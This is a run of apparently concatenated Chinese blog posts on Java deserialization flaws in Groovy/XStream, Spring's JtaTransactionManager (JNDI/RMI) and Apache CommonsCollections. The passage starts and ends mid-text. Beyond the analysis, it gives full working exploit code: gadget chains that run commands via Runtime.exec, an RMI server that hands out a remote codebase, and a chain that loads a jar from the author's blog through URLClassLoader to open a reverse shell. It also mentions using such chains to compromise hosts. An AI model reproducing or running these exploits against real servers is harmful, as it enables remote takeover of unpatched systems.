不过上述标签的属性值不一定是直接通过参数传进来,具体的利用场景需要结合实际的条件。

###参考
[1] :http://seclab.dbappsecurity.com.cn/?p=678

序列化的问题貌似在最近爆发的非常频繁,最近有小伙伴在问我关于这两天爆发的Xstream组建的反序列化的漏洞,最近公司非常忙,不过赶上周末刚好抽时间看了下,其实这次的漏洞和之前JRE的那个反序列化漏洞触发的条件基本上差不多,不过关于JRE的那个序列化似乎没人关注,有兴趣的同学可以去找找关于那个JRE的序列化,影响力不亚于11月份我分析的那个Apache CommonsCollection的漏洞。好了,回到正文吧。在分析Xstream漏洞时发现,XStream漏洞的根源在于Groovy组件的问题,其实在15年的时候有人给Groovy报了一个CVE-2015-3253的Bug,不过网上似乎没有太多细节,为什么这次分析XStream的漏洞的时候要提到Groovy的那个CVE,因为漏洞的根源就来自于那个CVE。

先来说说那个Groovy的CVE-2015-3253的漏洞吧。

Groovy-CVE-2015-3253漏洞(影响范围1.7.0-2.4.3)

网上貌似没有对该漏洞的分析,所以只能通过cve的连接去看看具体是什么问题,http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3253,官方的描述如下:

The MethodClosure class in runtime/MethodClosure.java in Apache Groovy 1.7.0 through 2.4.3 allows remote attackers to execute arbitrary code or cause a denial of service via a crafted serialized object.

通过上述漏洞描述信息,我们知道了问题大概出现在了MethodClosure类上,该类定义以及方法如下图

该类的描述为 Represents a method on an object using a closure which can be invoked at any time,大概意思就是通过构建一个指定对象以及调用方法的Closure的实例并且可以在任何时候进行调用。上图红色线标记的方法即为触发构建好的对象以及指定方法的函数,我们跟进看看该方法最终是怎么样执行的。

通过该方法的注释可以知道该方法的作用为调用指定对象的指定方法,所以MethodClosure类中构造方法中的两个参数的意思为owner代表调用方法的对象,method为调用方法的名字,所以我们可以构造特定了对象从而实现执行特定函数,我们自己定义的对象以及方法最终会调用上图中红色框标记的函数进行执行。
举个例子,例如我们想通过MethodClosure实现执行命令的功能,那么代码如下

1
2
MethodClosure mc = new MethodClosure(new java.lang.ProcessBuilder("open","/Applications/Calculator.app"), "start");
mc.call();

注:这里调用的call方法最终会调用doCall函数,有兴趣的可以自己去调试。

这样上述代码就可以实现代码执行,关于该函数的功能我们基本上搞明白了,那么我们回过头来想想,难道这个CVE就是说了下这个函数可以执行特定代码么?

既然我们知道了如何构建以及触发相关函数从而导致代码的执行,那么我们不妨去找找看看那些函数调用了存在缺陷的函数,通过eclipse我们可以很容易看出那些地方调用了MethodClosure#call()函数

如上图所示,我们可以看到groovy.util.Expando类的hashcode以及toString等方法调用了MethodClosure#call()函数,到这里从事java的小伙伴们应该比较激动,这里的hashCode()方法调用了存在缺陷的函数,hashCode函数才是这个CVE比较核心的地方,首先我们需要知道hashCode函数的作用,当两个对象比较是否相等的时候,会调用该对象的hashCode以及equals方法进行比较,如果这两个方法返回的结果一致,那么认为这两个对象是相等,如果被调用对象没有重写hashCode以及equals方法,那么会调用父类的默认实现。

这里明白hashCode的作用之后,再来说说HashMap的put方法,该方法的定义如下

因为Map是一种key-value类型的数据结构,所以Map集合不允许有重复key,所以每次在往集合中添加键值对时会去判断key是否相等,那么在判断是否相等时会调用key的hashCode方法,如果我们精心构造一个groovy.util.Expando对象作为Map集合的key,那么在将对象添加进集合时就会触发groovy.util.Expando的hashCode方法,从而触发我们的恶意代码。

明白上面的知识后我们再来跟进groovy.util.Expando#hashCode方法,看看如何精心构造一个一刻执行恶意代码的对象,如下图

这里从上图中可以看出调用getProperties().get(“hashCode”)方法从而实现自定义的hashCode,我们只需要调用setProperties(“hashCode”,Expando实例)去绑定hashCode属性对于的实现就行了,这里hashCode必须是Closure或者其子类才能最终调用call函数,MethodClosure类恰好是Closure的子类,所以结合这两个地方,恶意代码就会成功触发。

上面说到过通过调用Map#put方法即可触发我们构造好的代码,那么有人可能会问了,那些场景下才会触发Map的put方法,在反序列化时这样的场景还是存在的,除了这次的Xstream反序列化之外java的其他反序列化类中很可能也是有这样的场景的。

下面给出利用代码

XStream反序列化漏洞

Xstream的反序列化漏洞的根源就是上文所述的Groovy组件的问题,只不过在Xstream中进行反序列化时恰好有触发存在缺陷函数的点,也就是Xstream在反序列化时调用了Map#put函数将构造好的Expando实例作为key添加到集合中时触发了代码执行,如下图

这里的key就是我们构造的Expando的实例对象。

在构造EXP时,首先我们要构造一个Expando的一个对象实例,同时设置hashCode的实现为MethodClosure的实例,然后实例化一个HashMap对象调用put方法将Expando的实例化对象作为key,value任意添加到map中,然后让Xstream对map进行序列化,这样我们的Payload就OK了,
估计有很多人不明白漏洞作者博客的POC是怎么来的,这里的序列化是基于xml的,所以得借助Xstream相关函数将构造好的对象进行序列化然后生成xml,反序列化时解析xml,转换成相关对象。

好人做到底,我就把POC的生成代码也发出来吧

执行程序后,我们的POC就生成成功,如下图所示

至于怎么执行其他的代码,这个还比较麻烦,除了执行命令之外,好像没有什么好的办法,因为MethodClosure的构造函数中指定了要执行方法的对象以及执行的方法名称,所以说只能调用一次构造函数,并且有一个无参数的方法可以执行,这样才能实现函数的正常运行。

漏洞修复

这个漏洞的成因应该是两方面的共同造成了,一方面等待Xstream官方的补丁,此外Groovy在2.4.3之后修复了代码执行的这个bug,禁用了MethodClosure的代码执行功能。

受影响的用户可以通过升级Groovy的版本来缓解该漏洞造成的影响。

参考资料

[1] https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream?platform=hootsuite

[2] http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/

11月初爆发的JAVA反序列漏洞已经过去几个月了,各大安全研究人员对该漏洞的利用技巧也是五花八门,JAVA反序列化漏洞的爆发引起了很多漏洞研究者的注意,国外安全研究人员(zerothoughts)最近在Spring框架中同样也发现关于序列化的一些问题,本文主要是讨论在Spring框架中序列化漏洞成因以及一些利用方式。

漏洞原理分析

上一次的漏洞成因是Apache CommonsCollection组建中对集合的操作存在可以进行反射调用的方法,但是这次Spring框架的RCE基本上和CommonsCollection组建没有什么关系,在分析漏洞之前我们先来回顾下序列化的相关知识,只有明白了序列化是怎么回事,在理解序列化漏洞时就非常简单了。

关于序列化其实我们只需要知道两点即可,如下

  • 在对对象进行序列化时会调用Java.io.ObjectOutputStream对象的writeObject(Object obj)方法。
  • 在对象进行反序列化时会调用Java.io.ObjectInputStream对象的readObject()方法。

明白上面两点之后,我们再来了解下JAVA体系中的RMI以及JNDI,具体如下

  • RMI(Remote Method Invocation) 即Java远程方法调用,一种用于实现远程过程调用的应用程序编程接口,常见的两种接口实现为JRMP(Java Remote Message Protocol,Java远程消息交换协议)以及CORBA。

  • JNDI (Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。JNDI支持的服务主要有以下几种:DNS、LDAP、 CORBA对象服务、RMI等。

那么RMI和JNDI有什么关系呢?简单说就是RMI注册的服务可以让JNDI应用程序来访问,关于两者的具体关系以及在应用中的使用请参考官方文档这里不赘述。

在讨论Spring框架序列化漏洞之前,我们先来看看关于JNDI的RCE,如上文所述,JNDI支持很多服务类型,当服务类型为RMI协议时,如果从RMI注册服务中lookup的对象类型为Reference类型或者其子类时,会导致远程代码执行,Reference类提供了两个比较重要的属性,className以及codebase url,classname为远程调用引用的类名,那么codebase url决定了在进行rmi远程调用时对象的位置,此外codebase url支持http协议,当远程调用类(通过lookup来寻找)在RMI服务器中的CLASSPATH中不存在时,就会从指定的codebase url来进行类的加载,如果两者都没有,远程调用就会失败。

JNDI RCE漏洞产生的原因就在于当我们在注册RMI服务时,可以指定codebase url,也就是远程要加载类的位置,设置该属性可以让JDNI应用程序在加载时加载我们指定的类( 例如:http://www.iswin.org/xx.class) ,这里还有一个比较重要的点,也是触发恶意代码的点,当JNDI应用程序通过lookup(rmi服务的地址)调用指定codebase url上的类后,会调用被远程调用类的构造方法,所以如果我们将恶意代码放在被远程调用类的构造方法中时,漏洞就会触发。

JNDI的RCE可以用以下代码来解释

1
2
3
4
5
6
7
Registry registry = LocateRegistry.createRegistry(1999);
// 设置code url 这里即为http://http://127.0.0.1:8000/
// 最终下载恶意类的地址为http://127.0.0.1:8000/ExportObject.class
Reference reference = new Reference("ExportObject", "ExportObject", "http://127.0.0.1:8000/");
// Reference包装类
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Object", referenceWrapper);

上述代码使用了1999端口来注册了RMI服务和绑定相应的调用对象,同时指定了要远程调用类的名称 ExportObject,以及上文所述的codebase url 地址为http://127.0.0.1:8000/,也就是说当JNDI应用程序去调用RMI地址进行远程调用时,例如,调用的地址为rmi://127.0.0.1:1999/Object,当JNDI应用程序在远程调用时,会去查找Object名称绑定的类的位置,这里我们指定了类的加载位置http://127.0.0.1:8000/,所以最终实际加载类的地址就是http://127.0.0.1:8000/ExportObject.class,成功加载后会进行实例化,从而调用ExportObject类的构造方法,如果我们将恶意代码放在要加载类的构造方法中,就会导致任意代码执行。

如果明白上面所述的一些问题,那么接下来理解Spring框架的RCE时就非常简单了,因为Spring框架的远程代码执行的根本就是JNDI的远程代码执行,只不过需要结合序列化来触发。

Spring 框架中的远程代码执行的缺陷在于spring-tx-xxx.jar中的org.springframework.transaction.jta.JtaTransactionManager类,该类实现了Java Transaction API,主要功能是处理分布式的事务管理,我们先来看看该类的方法以及成员变量。

通过eclipse我们可以明显的看到该类实现了readObject(ObjectOutputStream)方法,为什么漏洞叫Spring框架的序列化漏洞,原因就在这里,关于反序列的只是上面已经介绍过了,我们都知道当一个类被反序列化时会调用该类的readObject方法,跟进readObject方法

方法initUserTransactionAndTransactionManager();是用来初始化UserTransaction以及TransactionManager,跟进该方法

这里我们可以看到该方法中调用了lookupUserTransaction方法,该方法的功能为

Look up the JTA UserTransaction in JNDI via the configured name.

通过配置好的transaction名称用JNDI的方式进行查找,到这里漏洞的成因就比较清晰了,这里的userTransactionName变量我们可以控制,通过setter方法可以初始化该变量,这里userTransactionName可以是rmi的调用地址(例如,userTransactionName=”rmi://127.0.0.1:1999/Object”),只要控制userTransactionName变量,就可以触发JNDI的RCE,继续跟进lookupUserTransaction方法

最终会调用JndiTemplate的lookup方法,如下

从而触发JNDI的RCE导致Spring framework序列化的漏洞产生。

漏洞利用

漏洞作者zerothoughts在github上面已经放出了漏洞利用的POC,详情见https://github.com/zerothoughts/spring-jndi

首先看看对于该漏洞,我们可以控制的地方,如下

  1. userTransactionName,可以指定为攻击者自己注册的RMI服务。
  2. codebase url,远程调用类的路径(攻击者可控)
  3. JtaTransactionManager类中的readObject方法在反序列化事触发了JNDI的RCE。

结合上面3个条件,就可以成功触发Spring framework 序列化的漏洞。

我修改了下作者给出的POC,看起来更加清晰点,POC分为两部分,客户端和服务端,服务端只是模拟了反序列的功能。

客户端如下如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import org.springframework.transaction.jta.JtaTransactionManager;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import com.sun.net.httpserver.HttpServer;
/***
*
* @author admin@iswin.org
* @time 2016.1.24
*/
@SuppressWarnings("restriction")
public class SpringPOC {
/***
* 启动http服务器,提供下载远程要调用的类
*
* @throws IOException
*/
public static void lanuchCodebaseURLServer() throws IOException {
System.out.println("Starting HTTP server");
HttpServer httpServer = HttpServer.create(new InetSocketAddress(8000), 0);
httpServer.createContext("/", new HttpFileHandler());
httpServer.setExecutor(null);
httpServer.start();
}
/***
* 启动RMI服务
*
* @throws Exception
*/
public static void lanuchRMIregister() throws Exception {
System.out.println("Creating RMI Registry");
Registry registry = LocateRegistry.createRegistry(1999);
// 设置code url 这里即为http://http://127.0.0.1:8000/
// 最终下载恶意类的地址为http://127.0.0.1:8000/ExportObject.class
Reference reference = new Reference("ExportObject", "ExportObject", "http://127.0.0.1:8000/");
// Reference包装类
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Object", referenceWrapper);
}
/***
* 发送payload
*
* @throws Exception
*/
public static void sendPayload() throws Exception {
// jndi的调用地址
String jndiAddress = "rmi://127.0.0.1:1999/Object";
// 实例化JtaTransactionManager对象,并且初始化UserTransactionName成员变量
JtaTransactionManager object = new JtaTransactionManager();
object.setUserTransactionName(jndiAddress);
// 发送构造好的payload
Socket socket = new Socket("127.0.0.1", 9999);
System.out.println("Sending object to server...");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
objectOutputStream.writeObject(object);
objectOutputStream.flush();
socket.close();
}
public static void main(String[] args) throws Exception {
lanuchCodebaseURLServer();
lanuchRMIregister();
sendPayload();
}
}

服务端如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.io.*;
import java.net.*;
public class ExploitableServer {
public static void main(String[] args) {
try {
ServerSocket serverSocket = new ServerSocket(Integer.parseInt(args[0]));
System.out.println("Server started on port "+serverSocket.getLocalPort());
while(true) {
Socket socket=serverSocket.accept();
System.out.println("Connection received from "+socket.getInetAddress());
ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
try {
Object object = objectInputStream.readObject();
System.out.println("Read object "+object);
} catch(Exception e) {
System.out.println("Exception caught while reading object");
e.printStackTrace();
}
}
} catch(Exception e) {
e.printStackTrace();
}
}
}

发送的PayLoad为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class ExportObject {
public static String exec(String cmd) throws Exception {
String sb = "";
BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String lineStr;
while ((lineStr = inBr.readLine()) != null)
sb += lineStr + "\n";
inBr.close();
in.close();
return sb;
}
public ExportObject() throws Exception {
String cmd="/sbin/ifconfig";
throw new Exception(exec(cmd));
}
}

执行成功后的效果为

上面是作者给出的POC,已经能证明在Spring框架中的确存在缺陷的类。不过这只是模拟了漏洞的触发过程,那么在实际利用过程中又会是怎么样的,下面将具体进行分析。

这里重点还是说下该漏洞在中间件中的利用,依然以JBOSS为例子(电脑上只有它),其它中间件类比下就知道了。上面对漏洞的产生的原因以及触发条件作了详细的说明,很多人问,这个不是Spring framework的漏洞么,是不是只要使用了Spring框架进行开发就可能会受影响,非常遗憾的告诉大家那是不可以的。

要想成功利用该漏洞,必须满足下列条件

  1. 存在接口可以进行对象反序列化
  2. 访问对象可以出网,因为要进行远程类下载(内网中另作讨论)
  3. 目标对象中的CLASSPATH中存在Spring-tx-xx.jar有缺陷类的jar包

当上述3个条件同时满足时,才能触发该漏洞,这里主要讨论在中间件中的利用,所以条件1很好满足(例如JBOSS、Weblogic、Jenkins、Websphere等),条件2也可以满足,但是条件3却比较苛刻,由于Spring-tx-xx.jar文件不是中间件的默认组件,所以,该漏洞就比较鸡肋,对于中间件来说,每个应用的lib库文件的类加载器是不一样的,换句话说,就是在同一中间件中,A应用的lib库文件B应用是无法使用的,所以即使目标应用存在该缺陷,那么中间件的漏洞触发点是无法找到缺陷应用lib文件中的class文件的,所以无法做到通用的利用,说白了就是lib库共享的问题,那么在实际工程中可能会存在将缺陷jar文件放在中间件的类加载器中的情况,比如说所有的项目都会用到spring的jar,开发人员索性就把jar文件给共享了,这样所有的应用都可以访问到该jar文件,这种情况下漏洞是可以完全触发的。

这里我以JBOSS中间件为例子,进行说明,在jboss中jboss-5.0.1.GA\lib*.jar 所有的jar,所有的应用都是可以访问的,将有缺陷的类放在这个目录下就会触发漏洞,因为Jboss序列化触发的点在/invoker/JMXInvokerServlet上,所以我将受缺陷的文件放在了该应用的lib目录下,如下图所示

修改POC后,成功利用该漏洞

总之,如果要成功利用,得看人品。其它中间我想应该也是一样的,如果有什么问题,欢迎指正。

漏洞修复

通过Spring官方给作者的邮件中,可以看出官方将这个锅丢给了中间件反序列接口的防范上或者可以进行反序列的方法上。如果觉得有必要修复漏洞的小伙伴,可以重写JtaTransactionManager类中的readObject方法禁用相关功能就行了。

参考资料

[1] :http://zerothoughts.tumblr.com/post/137769010389/fun-with-jndi-remote-code-injection
[2] :http://zerothoughts.tumblr.com/post/137831000514/spring-framework-deserialization-rce
[3] :https://github.com/zerothoughts/spring-jndi

本文主要讨论Apache CommonsCollections组件的Deserialize功能存在的问题,该问题其实在2015年1月份在国外已经被发现,直到在今年11月初才被国内相关网站发现并且在安全圈子里面迅速升温,不少安全公司已经采用批量化的程序对互联网上受影响的网站进行检测,由于CommonsCollections为Apache开源项目的重要组件,所以该组建的使用量非常大,这次主要是JBOSS,weblogic等中间件受影响,通过对漏洞的POC进行修改,可以直接控制受影响的服务器。

漏洞原理分析

该漏洞的出现的根源在CommonsCollections组件中对于集合的操作存在可以进行反射调用的方法,并且该方法在相关对象反序列化时并未进行任何校验,新版本的修复方案对相关反射调用进行了限制。

问题函数主要出现在org.apache.commons.collections.Transformer接口上,我们可以看到该接口值定义了一个方法

我们可以看到该方法的作用是给定一个Object对象经过转换后同时也返回一个Object,我们来看看该接口有哪些实现类

这些transformer的实现类中,我们一眼就看到了这里的InvokerTransformer,搞JAVA的对invoke这个词应该比较敏感,我们跟进这个实现类去看看具体的实现,

我们可以看到该该方法中采用了反射的方法进行函数调用,Input参数为要进行反射的对象(反射相关的知识就不在这赘述了),iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型,iArgs为对应方法的参数,在invokeTransformer这个类的构造函数中我们可以发现,这三个参数均为可控参数

1
2
3
4
5
6
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

那么现在核心的问题就是寻找哪些类调用了Transformer接口中的transform方法,通过eclipse我们找到了以下类调用了该方法

这里我们可以看到有两个比较明显的类调用了transform方法,分别是

  • LazyMap
  • TransformedMap

LazyMap构造POC

这里对于网上给出的POC使用的是LazyMap来进行构造,其实这里TransformedMap构造更为简单,因为触发条件比较简单,后面会具体分析。
这里以网上给出的POC来进行分析,毕竟大家都在用么。

这里LazyMap实现了Map接口,其中的get(Object)方法调用了transform方法,跟进函数进去

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

这里可以看到,在调用transform方法之前会先判断当前Map中是否已经有该key,如果没有最终会由这里的factory.transform进行处理,我吗继续跟踪下facory这个变量看看该变量是再哪被初始化的,

1
2
3
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

这里的decorate方法会对factory进行初始化,同时实例化一个LazyMap,到这里就比较有意思了。

为了能成功调用transform方法,我们找到了LazyMap方法,发现在get()方法中调用了该方法,所以说现在漏洞利用的核心条件就是去寻找一个类,在对象进行反序列化时会调用我们精心构造对象的get(Object)方法,老外在这里找到了一个方法的确能在反序列化时触发LazyMap的get(Object)方法,老外的这种精神必须佩服!

现在重点现在转移到sun.reflect.annotation.AnnotationInvocationHandler类上,我们看看在该类进行反序列化的时候究竟是如何触发漏洞代码的。

跟进sun.reflect.annotation.AnnotationInvocationHandler的源代码

在反序列的时候程序首先会调用调用readObject这个方法,我们首先看看这个readObject方法

这里的memberValues是我们通过构造AnnotationInvocationHandler 构造函数初始化的变量,也就是我们构造的lazymap对象,这里我们只需要找到一个memberValues.get(Object)的方法即可触发该漏洞,但是可惜的是该方法里面并没有这个方法。

到这里,在老外给的POC里面,有一个Proxy.newInstance(xx)的方法,很多人可能不太明白老外为什么这里需要用到动态代理,这里也就是POC的精华之处了,我们在readObject方法中并未找到lazymap的get方法,但是我们继续在sun.reflect.annotation.AnnotationInvocationHandler类里面找看看那个方法调用了memberValues.get(Object)方法,很幸运我们发现在invoke方法中memberValues.get(Object)被调用

这里大家应该能明白老外为什么要用动态代理来进行构造POC了,因为AnnotationInvocationHandler默认实现了InvocationHandler接口,在用Object iswin=Proxy.newInstance(classloader,interface,InvocationHandler)生成动态代理后,当对象iswin在进行对象调用时,那么就会调用InvocationHandler.invoke(xx)方法,所以POC的执行流程为map.xx->proxy(Map).invoke->lazymap.get(xx) 就会触发transform方法从而执行恶意代码。

这里的ChainedTransformer为链式的Transformer,会挨个执行我们定义的Transformer,这里比较简单,有兴趣自己去看源码就知道。

TransformedMap构造POC

这里如果使用TransformedMap来进行POC的构造就非常简单了,我们跟进TransformedMap的checkSetValue方法

1
2
3
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

我们继续看checkSetValue被那个函数所调用,在MapEntry类中的setValue恰好调用了checkSetValue,这里直接触发了tranform函数,用TransformedMap来构造POC为什么说比LazyMap好呢,那是因为这里触发的条件比较简单,我们可以在sun.reflect.annotation.AnnotationInvocationHandler中的readObject(xxx)

这里我们明显可以看到memberValue.setValue(xxx)方法,所以我们只需要构造一个不为空的TransformedMap,在AnnotationInvocationHandler.readObject(xx)事就会触发漏洞,需要注意,这里的触发的类为AnnotationInvocationHandler,在触发漏洞事会对type进行检查,所以在transformer的时候我们要讲type设置为annotation类型。

所以这里POC执行流程为TransformedMap->AnnotationInvocationHandler.readObject()->setValue()->checkSetValue()漏洞成功触发。

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
/**
* @ClassName: Main.java
* @Description: TODO
* @author iswin
* @email admin@iswin.org
* @Date 2015年11月8日 下午12:12:13
*/
public class Main {
public static Object Reverse_Payload(String execArgs) throws Exception {
final Transformer[] transforms = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
execArgs), new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transforms);
Map innermap = new HashMap();
innermap.put("value", "value");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
Class cls = Class
.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, outmap);
return instance;
}
public static void main(String[] args) throws Exception {
GeneratePayload(Reverse_Payload("cmd"),
"/Users/iswin/Downloads/test.bin");
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
// 这里为测试上面的tansform是否会触发payload
// Map.Entry onlyElement =(Entry) outmap.entrySet().iterator().next();
// onlyElement.setValue("foobar");
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
in.close();
}
}

漏洞高级利用

现在网上给出的poc只能执行命令或者写个文件之类的,本文将介绍一种通用的漏洞利用方法,只要服务器可以出网,就可以进行任何操作,例如反弹个shell,写文件?当然还有抓鸡等。

漏洞原理什么的在上面已经分析过了,网上的POC都是调用RunTime.getRuntime().exec(“cmdxx”),很多人在问这个漏洞执行命令后能不能回显,对于回显,其实就是想办法拿到容器的response,但是非常遗憾,我在对jboss进行测试时并未找到一种方式可以获取当当前请求的response,其他容器就不清楚了,理论上只要找到一个方法可以获取到当前请求的response,那么回显就搞定了,期待有大牛来实现。

到目前为止,我们只能通过反射的方式来进行函数调用,如果要实现复杂的功能,估计构造POC会把人折磨死,所以是不是有一种通用的方法去加载我们的payload呢。

在java中有个URLClassLoader类,关于该类的作用大家自己去百度,简单说就是远程加载class到本地jvm中,说到这,我想稍微明白一点的就知道怎么做了,这里不废话了,文章写得累死了,直接给出POC吧,至于具体怎么利用,如何实现抓鸡等,明白人自然就明白。

反弹shell

反弹shell的原理,通过classload从我博客远程加载一个http://www.isiwn.org/attach/iswin.jar文件,然后进行实例化,博客上的jar文件里面包含了反弹shell的脚本,将类加载到本地后实例化实例化时在构造方法中执行反弹shell的payload。

直接上代码

LazyMap的实现方式

我已经对网上的poc进行了修改,修改的更加容易阅读,方便大家学习。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
package ysoserial.payloads;
import java.io.File;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
public class CommonsCollections1{
public InvocationHandler getObject(final String ip) throws Exception {
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[] { new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
// getConstructor class.class classname
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { java.net.URL[].class } }),
// newinstance string http://www.iswin.org/attach/iswin.jar
new InvokerTransformer(
"newInstance",
new Class[] { Object[].class },
new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(
"http://www.iswin.org/attach/iswin.jar") } } }),
// loadClass String.class R
new InvokerTransformer("loadClass",
new Class[] { String.class }, new Object[] { "R" }),
// set the target reverse ip and port
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { String.class } }),
// invoke
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] { new String[] { ip } }),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
//this will generate a AnnotationInvocationHandler(Override.class,lazymap) invocationhandler
InvocationHandler invo = (InvocationHandler) getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Retention.class, lazyMap);
//generate object which implements specifiy interface
final Map mapProxy = Map.class.cast(Proxy.newProxyInstance(this
.getClass().getClassLoader(), new Class[] { Map.class }, invo));
final InvocationHandler handler = (InvocationHandler) getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Retention.class, mapProxy);
setFieldValue(transformerChain, "iTransformers", transformers);
return handler;
}
public static Constructor<?> getFirstCtor(final String name)
throws Exception {
final Constructor<?> ctor = Class.forName(name)
.getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
public static Field getField(final Class<?> clazz, final String fieldName)
throws Exception {
Field field = clazz.getDeclaredField(fieldName);
if (field == null && clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
field.setAccessible(true);
return field;
}
public static void setFieldValue(final Object obj, final String fieldName,
final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static void main(final String[] args) throws Exception {
final Object objBefore = CommonsCollections1.class.newInstance()
.getObject("10.18.180.34:8080");
//deserialize(serialize(objBefore));
File f = new File("/Users/iswin/Downloads/payloadsfinal.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(objBefore);
out.flush();
out.close();
}
}

效果

TransformedMap的实现方式

直接上代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
/**
* @ClassName: Main.java
* @Description: TODO
* @author iswin
* @email admin@iswin.org
